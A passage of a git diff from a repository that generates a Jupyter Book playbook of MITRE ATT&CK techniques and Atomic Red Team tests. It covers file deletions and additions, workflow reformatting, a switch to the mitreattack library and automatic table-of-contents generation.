delete mode 100644 playbook/tactics/persistence/T1031.ipynb delete mode 100644 playbook/tactics/persistence/T1034.ipynb delete mode 100644 playbook/tactics/persistence/T1038.ipynb delete mode 100644 playbook/tactics/persistence/T1042.ipynb delete mode 100644 playbook/tactics/persistence/T1044.ipynb delete mode 100644 playbook/tactics/persistence/T1050.ipynb delete mode 100644 playbook/tactics/persistence/T1053.001.ipynb delete mode 100644 playbook/tactics/persistence/T1053.004.ipynb delete mode 100644 playbook/tactics/persistence/T1058.ipynb delete mode 100644 playbook/tactics/persistence/T1060.ipynb delete mode 100644 playbook/tactics/persistence/T1062.ipynb delete mode 100644 playbook/tactics/persistence/T1067.ipynb delete mode 100644 playbook/tactics/persistence/T1084.ipynb create mode 100644 playbook/tactics/persistence/T1098.006.ipynb delete mode 100644 playbook/tactics/persistence/T1100.ipynb delete mode 100644 playbook/tactics/persistence/T1101.ipynb delete mode 100644 playbook/tactics/persistence/T1103.ipynb delete mode 100644 playbook/tactics/persistence/T1108.ipynb delete mode 100644 playbook/tactics/persistence/T1109.ipynb delete mode 100644 playbook/tactics/persistence/T1122.ipynb delete mode 100644 playbook/tactics/persistence/T1128.ipynb delete mode 100644 playbook/tactics/persistence/T1131.ipynb delete mode 100644 playbook/tactics/persistence/T1138.ipynb delete mode 100644 playbook/tactics/persistence/T1150.ipynb delete mode 100644 playbook/tactics/persistence/T1152.ipynb delete mode 100644 playbook/tactics/persistence/T1154.ipynb delete mode 100644 playbook/tactics/persistence/T1156.ipynb delete mode 100644 playbook/tactics/persistence/T1157.ipynb delete mode 100644 playbook/tactics/persistence/T1158.ipynb delete mode 100644 playbook/tactics/persistence/T1159.ipynb delete mode 100644 playbook/tactics/persistence/T1160.ipynb delete mode 100644 playbook/tactics/persistence/T1161.ipynb delete mode 100644 playbook/tactics/persistence/T1162.ipynb delete mode 100644 playbook/tactics/persistence/T1163.ipynb delete mode 100644 playbook/tactics/persistence/T1164.ipynb delete mode 100644 playbook/tactics/persistence/T1165.ipynb delete mode 100644 playbook/tactics/persistence/T1166.ipynb delete mode 100644 playbook/tactics/persistence/T1168.ipynb delete mode 100644 playbook/tactics/persistence/T1177.ipynb delete mode 100644 playbook/tactics/persistence/T1179.ipynb delete mode 100644 playbook/tactics/persistence/T1180.ipynb delete mode 100644 playbook/tactics/persistence/T1182.ipynb delete mode 100644 playbook/tactics/persistence/T1183.ipynb delete mode 100644 playbook/tactics/persistence/T1198.ipynb delete mode 100644 playbook/tactics/persistence/T1209.ipynb delete mode 100644 playbook/tactics/persistence/T1215.ipynb delete mode 100644 playbook/tactics/persistence/T1501.ipynb delete mode 100644 playbook/tactics/persistence/T1504.ipynb delete mode 100644 playbook/tactics/persistence/T1519.ipynb delete mode 100644 playbook/tactics/persistence/T1547.011.ipynb create mode 100644 playbook/tactics/persistence/T1556.008.ipynb create mode 100644 playbook/tactics/persistence/T1653.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1013.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1015.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1034.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1038.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1044.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1050.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1053.001.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1053.004.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1058.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1088.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.001.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.002.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.003.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.004.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.005.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.006.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1098.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1100.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1103.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1138.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1150.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1157.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1160.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1165.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1166.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1169.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1178.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1179.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1181.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1182.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1183.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1206.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1502.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1504.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1514.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1519.ipynb delete mode 100644 playbook/tactics/privilege-escalation/T1547.011.ipynb create mode 100644 playbook/tactics/privilege-escalation/T1548.005.ipynb delete mode 100644 test.py diff --git a/.github/workflows/book.yml b/.github/workflows/book.yml index 66491927..7fd91674 100644 --- a/.github/workflows/book.yml +++ b/.github/workflows/book.yml @@ -4,34 +4,33 @@ name: deploy-book on: push: branches: - - master + - master # This job installs dependencies, build the book, and pushes it to `gh-pages` jobs: deploy-book: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v2 - # Install dependencies - - name: Set up Python 3.10 - uses: actions/setup-python@v2 - with: - python-version: '3.10' + # Install dependencies + - name: Set up Python 3.10 + uses: actions/setup-python@v2 + with: + python-version: "3.10" - - name: Install dependencies - run: | - pip install -r requirements.txt + - name: Install dependencies + run: | + pip install -r requirements.txt + # Build the book + - name: Build the book + run: | + jupyter-book build playbook - # Build the book - - name: Build the book - run: | - jupyter-book build playbook - - # Push the book's HTML to github-pages - - name: GitHub Pages action - uses: peaceiris/actions-gh-pages@v3.6.1 - with: - github_token: ${{ secrets.GITHUB_TOKEN }} - publish_dir: ./playbook/_build/html + # Push the book's HTML to github-pages + - name: GitHub Pages action + uses: peaceiris/actions-gh-pages@v3.6.1 + with: + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./playbook/_build/html diff --git a/playbook-generator/generator.py b/playbook-generator/generator.py index fb604cfb..fbff0c95 100644 --- a/playbook-generator/generator.py +++ b/playbook-generator/generator.py @@ -1,27 +1,28 @@ import json import os +from pathlib import Path import nbformat.v4 as nbf import yaml -from attackcti import attack_client +from mitreattack.stix20 import MitreAttackData from models import AggregatedAtomic, AttackTactic, folder_paths def generate_notebook(file_name, cells): - file = f'{file_name}.ipynb' + file = f"{file_name}.ipynb" metadata = { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" + "language": "pwsh", + "name": ".net-powershell", }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", - "version": "7.0" - } + "version": "7.0", + }, } nb = nbf.new_notebook(metadata=metadata) nb["cells"] = cells @@ -31,50 +32,86 @@ def generate_notebook(file_name, cells): class PlaybookGenerator: def __init__(self): - self.attack_client = attack_client() - # We use only Enterprise ATT&CK matrix. - self.attack_client.COMPOSITE_DS = self.attack_client.TC_ENTERPRISE_SOURCE + self.attack_client = MitreAttackData( + f"{Path(folder_paths.ATOMICS_FOLDER).parent.absolute()}/atomic_red_team/enterprise-attack.json" + ) def generate_toc(self): - # TODO: Generate TOC automatically - pass + arr = [ + "initial-access", + "execution", + "persistence", + "privilege-escalation", + "defense-evasion", + "credential-access", + "discovery", + "lateral-movement", + "collection", + "command-and-control", + "exfiltration", + "impact", + ] + sections = [] + for j in arr: + path = os.path.join(os.getcwd(), "playbook", "tactics", j) + sections.append( + { + "file": f"tactics/{j}", + "sections": [ + {"file": f"tactics/{j}/{i}"} for i in sorted(os.listdir(path)) + ], + } + ) + + with open(os.path.join(os.getcwd(), "playbook", "_toc.yaml"), "w") as f: + toc = { + "format": "jb-article", + "root": "intro", + "sections": [{"file": "tactics", "sections": sections}], + } + f.write(yaml.dump(toc, indent=2, sort_keys=False)) def get_tactics(self): - if not os.path.exists(f'{os.getcwd()}/playbook/tactics'): - os.mkdir(f'{os.getcwd()}/playbook/tactics') + if not os.path.exists(f"{os.getcwd()}/playbook/tactics"): + os.mkdir(f"{os.getcwd()}/playbook/tactics") - stix_tactics = self.attack_client.get_enterprise_tactics() - stix_tactics.sort( - key=lambda x: x["external_references"][0]["external_id"]) + stix_tactics = self.attack_client.get_tactics() + stix_tactics.sort(key=lambda x: x["external_references"][0]["external_id"]) # TODO: Swap Exfiltration and C2C markdown = [ "| ID | Name | Description |", - "| -------- | --------- | --------- |" + "| -------- | --------- | --------- |", ] - stix_tactics = filter(lambda x: x["external_references"][0]["external_id"] not in ["TA0042", "TA0043"], - stix_tactics) + stix_tactics = filter( + lambda x: x["external_references"][0]["external_id"] + not in ["TA0042", "TA0043"], + stix_tactics, + ) for i in stix_tactics: techniques = self.get_techniques_by_tactic(i["x_mitre_shortname"]) tactic = AttackTactic(stix=i, techniques=techniques) generate_notebook( - file_name=f'{os.getcwd()}/playbook/tactics/{tactic.stix.short_name}', - cells=tactic.__repr__()) + file_name=f"{os.getcwd()}/playbook/tactics/{tactic.stix.short_name}", + cells=tactic.__repr__(), + ) desc = tactic.stix.description.split("\n")[0] - markdown.append(f'| {tactic.stix.id} | {tactic.stix.name} | {desc}|') + markdown.append(f"| {tactic.stix.id} | {tactic.stix.name} | {desc}|") cells = [nbf.new_markdown_cell("\n".join(markdown))] - generate_notebook( - file_name=f'{os.getcwd()}/playbook/tactics', - cells=cells) + generate_notebook(file_name=f"{os.getcwd()}/playbook/tactics", cells=cells) def get_techniques_by_tactic(self, tactic): - folder_path = f'{os.getcwd()}/playbook/tactics/{tactic}' + folder_path = f"{os.getcwd()}/playbook/tactics/{tactic}" if not os.path.exists(folder_path): os.makedirs(folder_path) - techniques = self.attack_client.get_techniques_by_tactic(tactic) + techniques = self.attack_client.get_techniques_by_tactic( + tactic, domain="enterprise-attack", remove_revoked_deprecated=True + ) json_techniques = [] for stix in techniques: technique_id = stix["external_references"][0]["external_id"] - file_path = f'{folder_paths.ATOMICS_FOLDER}/{technique_id}/{technique_id}.yaml' + file_path = ( + f"{folder_paths.ATOMICS_FOLDER}/{technique_id}/{technique_id}.yaml" + ) if os.path.exists(file_path): with open(file_path, "r") as f: atomic = yaml.load(f.read(), Loader=yaml.SafeLoader) @@ -82,13 +119,15 @@ def get_techniques_by_tactic(self, tactic): else: playbook_technique = AggregatedAtomic(stix=stix) generate_notebook( - file_name=f'{folder_path}/{technique_id}', - cells=playbook_technique.__repr__()) + file_name=f"{folder_path}/{technique_id}", + cells=playbook_technique.__repr__(), + ) json_techniques.append(playbook_technique) return json_techniques def start(self): self.get_tactics() + self.generate_toc() if __name__ == "__main__": diff --git a/playbook-generator/models.py b/playbook-generator/models.py index b0a2b9b9..727463b9 100644 --- a/playbook-generator/models.py +++ b/playbook-generator/models.py @@ -6,12 +6,11 @@ from shield.api import shield -def replace_command_with_input_args( - command: str, input_arguments: dict): - """ Replace the input arguments in the commands.""" +def replace_command_with_input_args(command: str, input_arguments: dict): + """Replace the input arguments in the commands.""" if command: for k, v in input_arguments.items(): - command = command.replace(f'#{{{k}}}', str(v["default"])) + command = command.replace(f"#{{{k}}}", str(v["default"])) return command else: return None @@ -24,6 +23,7 @@ class FolderPaths(BaseSettings): try: folder_paths = FolderPaths() except ValidationError: + # local development folder_paths = FolderPaths(ATOMICS_FOLDER="~/Pro/atomic-red-team/atomics") folder_paths.ATOMICS_FOLDER = os.path.expanduser(folder_paths.ATOMICS_FOLDER) @@ -68,22 +68,32 @@ class AtomicTest(BaseModel): def __init__(self, **data): super().__init__(**data) if args := self.input_arguments: - self.executor.command = replace_command_with_input_args(self.executor.command, args) - self.executor.cleanup = replace_command_with_input_args(self.executor.cleanup, args) + self.executor.command = replace_command_with_input_args( + self.executor.command, args + ) + self.executor.cleanup = replace_command_with_input_args( + self.executor.cleanup, args + ) if deps := self.dependencies: for i in deps: i.get_prereq_command = replace_command_with_input_args( - i.get_prereq_command, args) + i.get_prereq_command, args + ) i.prereq_command = replace_command_with_input_args( - i.prereq_command, args) + i.prereq_command, args + ) def __repr__(self): cells = [] markdown = [] - markdown += [f"### Atomic Test #{self.test_number} - {self.name}", self.description] + markdown += [ + f"### Atomic Test #{self.test_number} - {self.name}", + self.description, + ] if self.platforms: markdown.append( - "**Supported Platforms:** {0}".format(", ".join(self.platforms))) + "**Supported Platforms:** {0}".format(", ".join(self.platforms)) + ) if self.executor.elevation_required: markdown.append("\nElevation Required (e.g. root or admin)") if self.executor.name == "manual": @@ -93,7 +103,8 @@ def __repr__(self): else: if self.dependencies: markdown.append( - f"#### Dependencies: Run with `{self.dependency_executor_name or self.executor.name}`!") + f"#### Dependencies: Run with `{self.dependency_executor_name or self.executor.name}`!" + ) for dep in self.dependencies: executor_name = self.executor.name if executor_name == "command_prompt": @@ -103,26 +114,37 @@ def __repr__(self): "##### Check Prereq Commands:", f"```{executor_name}\n{dep.prereq_command}\n```", "##### Get Prereq Commands:", - f"```{executor_name}\n{dep.get_prereq_command}\n```" + f"```{executor_name}\n{dep.get_prereq_command}\n```", ] cells.append(nbf.new_markdown_cell("\n".join(markdown))) - cells.append(nbf.new_code_cell( - f'Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number} -GetPreReqs')) + cells.append( + nbf.new_code_cell( + f"Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number} -GetPreReqs" + ) + ) markdown = [] markdown.append(f"#### Attack Commands: Run with `{self.executor.name}`\n") markdown.append(f"```{self.executor.name}\n{self.executor.command}```") + cells.append(nbf.new_markdown_cell(markdown)) cells.append( - nbf.new_markdown_cell(markdown)) - cells.append( - nbf.new_code_cell(f'Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number}')) + nbf.new_code_cell( + f"Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number}" + ) + ) if cleanup := self.executor.cleanup: executor_name = self.executor.name if executor_name == "command_prompt": executor_name = "cmd" - cells.append(nbf.new_markdown_cell( - f"#### Cleanup: \n```{executor_name}\n{cleanup}```")) - cells.append(nbf.new_code_cell( - f'Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number} -Cleanup')) + cells.append( + nbf.new_markdown_cell( + f"#### Cleanup: \n```{executor_name}\n{cleanup}```" + ) + ) + cells.append( + nbf.new_code_cell( + f"Invoke-AtomicTest {self.technique_id} -TestNumbers {self.test_number} -Cleanup" + ) + ) return cells @@ -154,7 +176,9 @@ class AggregatedAtomic(BaseModel): def __repr__(self): cells = [ - nbf.new_markdown_cell(f'# {self.stix.technique_id} - {self.stix.name}\n{self.stix.description}') + nbf.new_markdown_cell( + f"# {self.stix.technique_id} - {self.stix.name}\n{self.stix.description}" + ) ] if atomic := self.atomic: cells.append(nbf.new_markdown_cell("## Atomic Tests")) @@ -162,7 +186,10 @@ def __repr__(self): cells += i.__repr__() else: cells.append( - nbf.new_markdown_cell("## Atomic Tests:\nCurrently, no tests are available for this technique.")) + nbf.new_markdown_cell( + "## Atomic Tests:\nCurrently, no tests are available for this technique." + ) + ) if detection := self.stix.detection: cells.append(nbf.new_markdown_cell(f"## Detection\n{detection}")) if shield_obj := shield.get_shield_obj(self.stix.technique_id): @@ -179,16 +206,21 @@ class AttackTactic(BaseModel): def __repr__(self): markdown = [ - f'# {self.stix.name}', + f"# {self.stix.name}", self.stix.description, "## Techniques", "| ID | Name | Description |", - "| :--------: | :---------: | :---------: |" + "| :--------: | :---------: | :---------: |", ] for i in self.techniques: - markdown.append(f'{i.stix.technique_id} | {i.stix.name} | {i.stix.description}') - cells = [nbf.new_markdown_cell("\n".join(markdown)), - nbf.new_code_cell( - f"#Invoke-AtomicTest-By can be downloaded from " - f"https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic {self.stix.short_name}")] + markdown.append( + f"{i.stix.technique_id} | {i.stix.name} | {i.stix.description}" + ) + cells = [ + nbf.new_markdown_cell("\n".join(markdown)), + nbf.new_code_cell( + f"#Invoke-AtomicTest-By can be downloaded from " + f"https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic {self.stix.short_name}" + ), + ] return cells diff --git a/playbook-generator/shield/api.py b/playbook-generator/shield/api.py index 67522951..8437a9d3 100644 --- a/playbook-generator/shield/api.py +++ b/playbook-generator/shield/api.py @@ -6,7 +6,8 @@ class Shield: def __init__(self): shield_data = requests.get( - "https://raw.githubusercontent.com/MITRECND/mitrecnd.github.io/master/_data/attack_mapping.json").json() + "https://raw.githubusercontent.com/MITRECND/mitrecnd.github.io/master/_data/attack_mapping.json" + ).json() self.shield_objects = shield_element_from_dict(shield_data) def get_shield_obj(self, attack_id: str): diff --git a/playbook-generator/shield/models.py b/playbook-generator/shield/models.py index a7f32a38..e685780f 100644 --- a/playbook-generator/shield/models.py +++ b/playbook-generator/shield/models.py @@ -32,7 +32,7 @@ def __init__(self, id: str, name: str): self.name = name @staticmethod - def from_dict(obj: Any) -> 'AttackTechnique': + def from_dict(obj: Any) -> "AttackTechnique": assert isinstance(obj, dict) id = from_str(obj.get("id")) name = from_str(obj.get("name")) @@ -45,7 +45,7 @@ def to_dict(self) -> dict: return result def to_markdown(self) -> str: - return f'### Att&ckTechnique \n {self.id} - {self.name}' + return f"### Att&ckTechnique \n {self.id} - {self.name}" class ShieldBaseObject: @@ -57,7 +57,7 @@ def __init__(self, id: str, description: str): self.description = description @staticmethod - def from_dict(obj: Any) -> 'ShieldBaseObject': + def from_dict(obj: Any) -> "ShieldBaseObject": assert isinstance(obj, dict) id = from_str(obj.get("id")) description = from_str(obj.get("description")) @@ -72,32 +72,32 @@ def to_dict(self) -> dict: class Opportunity(ShieldBaseObject): @staticmethod - def from_dict(obj: Any) -> 'Opportunity': + def from_dict(obj: Any) -> "Opportunity": assert isinstance(obj, dict) id = from_str(obj.get("id")) description = from_str(obj.get("description")) return Opportunity(id, description) def to_markdown(self) -> str: - return f'#### Opportunity\n{self.description}' + return f"#### Opportunity\n{self.description}" class UseCase(ShieldBaseObject): @staticmethod - def from_dict(obj: Any) -> 'UseCase': + def from_dict(obj: Any) -> "UseCase": assert isinstance(obj, dict) id = from_str(obj.get("id")) description = from_str(obj.get("description")) return UseCase(id, description) def to_markdown(self) -> str: - return f'#### Use Case\n{self.description}' + return f"#### Use Case\n{self.description}" class Procedure(ShieldBaseObject): # TODO: Change static initializers for all base objects. @staticmethod - def from_dict(obj: Any) -> 'Procedure': + def from_dict(obj: Any) -> "Procedure": assert isinstance(obj, dict) id = from_str(obj.get("id")) description = from_str(obj.get("description")) @@ -114,15 +114,14 @@ class ShieldTechnique: description: str long_description: str - def __init__(self, id: str, name: str, description: str, - long_description: str): + def __init__(self, id: str, name: str, description: str, long_description: str): self.id = id self.name = name self.description = description self.long_description = long_description @staticmethod - def from_dict(obj: Any) -> 'ShieldTechnique': + def from_dict(obj: Any) -> "ShieldTechnique": assert isinstance(obj, dict) id = from_str(obj.get("id")) name = from_str(obj.get("name")) @@ -140,7 +139,7 @@ def to_dict(self) -> dict: def to_markdown(self) -> str: # Since Opportunity is an array, it will have a common title. - return f'### {self.name} \n {self.description} \n\n {self.long_description}' + return f"### {self.name} \n {self.description} \n\n {self.long_description}" class ShieldElement: @@ -151,8 +150,15 @@ class ShieldElement: technique: ShieldTechnique procedures: List[Procedure] - def __init__(self, attack_id: str, attack_technique: AttackTechnique, opportunity: Opportunity, - use_case: UseCase, technique: ShieldTechnique, procedures: List[Procedure]): + def __init__( + self, + attack_id: str, + attack_technique: AttackTechnique, + opportunity: Opportunity, + use_case: UseCase, + technique: ShieldTechnique, + procedures: List[Procedure], + ): self.attack_id = attack_id self.attack_technique = attack_technique self.opportunity = opportunity @@ -161,34 +167,34 @@ def __init__(self, attack_id: str, attack_technique: AttackTechnique, opportunit self.procedures = procedures @staticmethod - def from_dict(obj: Any) -> 'ShieldElement': + def from_dict(obj: Any) -> "ShieldElement": assert isinstance(obj, dict) attack_id = from_str(obj.get("attack_id")) - attack_technique = AttackTechnique.from_dict( - obj.get("attack_technique")) + attack_technique = AttackTechnique.from_dict(obj.get("attack_technique")) opportunity = Opportunity.from_dict(obj.get("opportunity")) use_case = UseCase.from_dict(obj.get("use_case")) technique = ShieldTechnique.from_dict(obj.get("technique")) procedures = from_list(Procedure.from_dict, obj.get("procedures")) - return ShieldElement(attack_id, attack_technique, - opportunity, use_case, technique, procedures) + return ShieldElement( + attack_id, attack_technique, opportunity, use_case, technique, procedures + ) def to_dict(self) -> dict: result: dict = {} result["attack_id"] = from_str(self.attack_id) - result["attack_technique"] = to_class( - AttackTechnique, self.attack_technique) + result["attack_technique"] = to_class(AttackTechnique, self.attack_technique) result["opportunity"] = to_class(Opportunity, self.opportunity) result["use_case"] = to_class(UseCase, self.use_case) result["technique"] = to_class(ShieldTechnique, self.technique) result["procedures"] = from_list( - lambda x: to_class( - Procedure, x), self.procedures) + lambda x: to_class(Procedure, x), self.procedures + ) return result def to_markdown(self) -> str: - procedures_md = "#### Procedures\n" + \ - "\n".join([x.to_markdown() for x in self.procedures]) + procedures_md = "#### Procedures\n" + "\n".join( + [x.to_markdown() for x in self.procedures] + ) return f""" ## Shield Active Defense {self.technique.to_markdown()} diff --git a/playbook/_toc.yml b/playbook/_toc.yaml similarity index 78% rename from playbook/_toc.yml rename to playbook/_toc.yaml index 9cd5370d..5517e19d 100644 --- a/playbook/_toc.yml +++ b/playbook/_toc.yaml @@ -14,9 +14,6 @@ sections: - file: tactics/initial-access/T1133.ipynb - file: tactics/initial-access/T1189.ipynb - file: tactics/initial-access/T1190.ipynb - - file: tactics/initial-access/T1192.ipynb - - file: tactics/initial-access/T1193.ipynb - - file: tactics/initial-access/T1194.ipynb - file: tactics/initial-access/T1195.001.ipynb - file: tactics/initial-access/T1195.002.ipynb - file: tactics/initial-access/T1195.003.ipynb @@ -26,16 +23,14 @@ sections: - file: tactics/initial-access/T1566.001.ipynb - file: tactics/initial-access/T1566.002.ipynb - file: tactics/initial-access/T1566.003.ipynb + - file: tactics/initial-access/T1566.004.ipynb - file: tactics/initial-access/T1566.ipynb + - file: tactics/initial-access/T1659.ipynb - file: tactics/execution sections: - - file: tactics/execution/T1028.ipynb - - file: tactics/execution/T1035.ipynb - file: tactics/execution/T1047.ipynb - - file: tactics/execution/T1053.001.ipynb - file: tactics/execution/T1053.002.ipynb - file: tactics/execution/T1053.003.ipynb - - file: tactics/execution/T1053.004.ipynb - file: tactics/execution/T1053.005.ipynb - file: tactics/execution/T1053.006.ipynb - file: tactics/execution/T1053.007.ipynb @@ -48,35 +43,16 @@ sections: - file: tactics/execution/T1059.006.ipynb - file: tactics/execution/T1059.007.ipynb - file: tactics/execution/T1059.008.ipynb + - file: tactics/execution/T1059.009.ipynb - file: tactics/execution/T1059.ipynb - - file: tactics/execution/T1061.ipynb - - file: tactics/execution/T1064.ipynb - file: tactics/execution/T1072.ipynb - - file: tactics/execution/T1085.ipynb - - file: tactics/execution/T1086.ipynb - file: tactics/execution/T1106.ipynb - - file: tactics/execution/T1117.ipynb - - file: tactics/execution/T1118.ipynb - - file: tactics/execution/T1121.ipynb - file: tactics/execution/T1129.ipynb - - file: tactics/execution/T1151.ipynb - - file: tactics/execution/T1152.ipynb - - file: tactics/execution/T1153.ipynb - - file: tactics/execution/T1154.ipynb - - file: tactics/execution/T1155.ipynb - - file: tactics/execution/T1168.ipynb - - file: tactics/execution/T1170.ipynb - - file: tactics/execution/T1173.ipynb - - file: tactics/execution/T1175.ipynb - - file: tactics/execution/T1177.ipynb - - file: tactics/execution/T1191.ipynb - - file: tactics/execution/T1196.ipynb - file: tactics/execution/T1203.ipynb - file: tactics/execution/T1204.001.ipynb - file: tactics/execution/T1204.002.ipynb - file: tactics/execution/T1204.003.ipynb - file: tactics/execution/T1204.ipynb - - file: tactics/execution/T1223.ipynb - file: tactics/execution/T1559.001.ipynb - file: tactics/execution/T1559.002.ipynb - file: tactics/execution/T1559.003.ipynb @@ -87,57 +63,34 @@ sections: - file: tactics/execution/T1609.ipynb - file: tactics/execution/T1610.ipynb - file: tactics/execution/T1648.ipynb + - file: tactics/execution/T1651.ipynb - file: tactics/persistence sections: - - file: tactics/persistence/T1004.ipynb - - file: tactics/persistence/T1013.ipynb - - file: tactics/persistence/T1015.ipynb - - file: tactics/persistence/T1019.ipynb - - file: tactics/persistence/T1023.ipynb - - file: tactics/persistence/T1031.ipynb - - file: tactics/persistence/T1034.ipynb + - file: tactics/persistence/.ipynb_checkpoints - file: tactics/persistence/T1037.001.ipynb - file: tactics/persistence/T1037.002.ipynb - file: tactics/persistence/T1037.003.ipynb - file: tactics/persistence/T1037.004.ipynb - file: tactics/persistence/T1037.005.ipynb - file: tactics/persistence/T1037.ipynb - - file: tactics/persistence/T1038.ipynb - - file: tactics/persistence/T1042.ipynb - - file: tactics/persistence/T1044.ipynb - - file: tactics/persistence/T1050.ipynb - - file: tactics/persistence/T1053.001.ipynb - file: tactics/persistence/T1053.002.ipynb - file: tactics/persistence/T1053.003.ipynb - - file: tactics/persistence/T1053.004.ipynb - file: tactics/persistence/T1053.005.ipynb - file: tactics/persistence/T1053.006.ipynb - file: tactics/persistence/T1053.007.ipynb - file: tactics/persistence/T1053.ipynb - - file: tactics/persistence/T1058.ipynb - - file: tactics/persistence/T1060.ipynb - - file: tactics/persistence/T1062.ipynb - - file: tactics/persistence/T1067.ipynb - file: tactics/persistence/T1078.001.ipynb - file: tactics/persistence/T1078.002.ipynb - file: tactics/persistence/T1078.003.ipynb - file: tactics/persistence/T1078.004.ipynb - file: tactics/persistence/T1078.ipynb - - file: tactics/persistence/T1084.ipynb - file: tactics/persistence/T1098.001.ipynb - file: tactics/persistence/T1098.002.ipynb - file: tactics/persistence/T1098.003.ipynb - file: tactics/persistence/T1098.004.ipynb - file: tactics/persistence/T1098.005.ipynb + - file: tactics/persistence/T1098.006.ipynb - file: tactics/persistence/T1098.ipynb - - file: tactics/persistence/T1100.ipynb - - file: tactics/persistence/T1101.ipynb - - file: tactics/persistence/T1103.ipynb - - file: tactics/persistence/T1108.ipynb - - file: tactics/persistence/T1109.ipynb - - file: tactics/persistence/T1122.ipynb - - file: tactics/persistence/T1128.ipynb - - file: tactics/persistence/T1131.ipynb - file: tactics/persistence/T1133.ipynb - file: tactics/persistence/T1136.001.ipynb - file: tactics/persistence/T1136.002.ipynb @@ -150,44 +103,17 @@ sections: - file: tactics/persistence/T1137.005.ipynb - file: tactics/persistence/T1137.006.ipynb - file: tactics/persistence/T1137.ipynb - - file: tactics/persistence/T1138.ipynb - - file: tactics/persistence/T1150.ipynb - - file: tactics/persistence/T1152.ipynb - - file: tactics/persistence/T1154.ipynb - - file: tactics/persistence/T1156.ipynb - - file: tactics/persistence/T1157.ipynb - - file: tactics/persistence/T1158.ipynb - - file: tactics/persistence/T1159.ipynb - - file: tactics/persistence/T1160.ipynb - - file: tactics/persistence/T1161.ipynb - - file: tactics/persistence/T1162.ipynb - - file: tactics/persistence/T1163.ipynb - - file: tactics/persistence/T1164.ipynb - - file: tactics/persistence/T1165.ipynb - - file: tactics/persistence/T1166.ipynb - - file: tactics/persistence/T1168.ipynb - file: tactics/persistence/T1176.ipynb - - file: tactics/persistence/T1177.ipynb - - file: tactics/persistence/T1179.ipynb - - file: tactics/persistence/T1180.ipynb - - file: tactics/persistence/T1182.ipynb - - file: tactics/persistence/T1183.ipynb - file: tactics/persistence/T1197.ipynb - - file: tactics/persistence/T1198.ipynb - file: tactics/persistence/T1205.001.ipynb - file: tactics/persistence/T1205.002.ipynb - file: tactics/persistence/T1205.ipynb - - file: tactics/persistence/T1209.ipynb - - file: tactics/persistence/T1215.ipynb - - file: tactics/persistence/T1501.ipynb - - file: tactics/persistence/T1504.ipynb - file: tactics/persistence/T1505.001.ipynb - file: tactics/persistence/T1505.002.ipynb - file: tactics/persistence/T1505.003.ipynb - file: tactics/persistence/T1505.004.ipynb - file: tactics/persistence/T1505.005.ipynb - file: tactics/persistence/T1505.ipynb - - file: tactics/persistence/T1519.ipynb - file: tactics/persistence/T1525.ipynb - file: tactics/persistence/T1542.001.ipynb - file: tactics/persistence/T1542.002.ipynb @@ -227,7 +153,6 @@ sections: - file: tactics/persistence/T1547.008.ipynb - file: tactics/persistence/T1547.009.ipynb - file: tactics/persistence/T1547.010.ipynb - - file: tactics/persistence/T1547.011.ipynb - file: tactics/persistence/T1547.012.ipynb - file: tactics/persistence/T1547.013.ipynb - file: tactics/persistence/T1547.014.ipynb @@ -241,6 +166,7 @@ sections: - file: tactics/persistence/T1556.005.ipynb - file: tactics/persistence/T1556.006.ipynb - file: tactics/persistence/T1556.007.ipynb + - file: tactics/persistence/T1556.008.ipynb - file: tactics/persistence/T1556.ipynb - file: tactics/persistence/T1574.001.ipynb - file: tactics/persistence/T1574.002.ipynb @@ -255,24 +181,17 @@ sections: - file: tactics/persistence/T1574.012.ipynb - file: tactics/persistence/T1574.013.ipynb - file: tactics/persistence/T1574.ipynb + - file: tactics/persistence/T1653.ipynb - file: tactics/privilege-escalation sections: - - file: tactics/privilege-escalation/T1013.ipynb - - file: tactics/privilege-escalation/T1015.ipynb - - file: 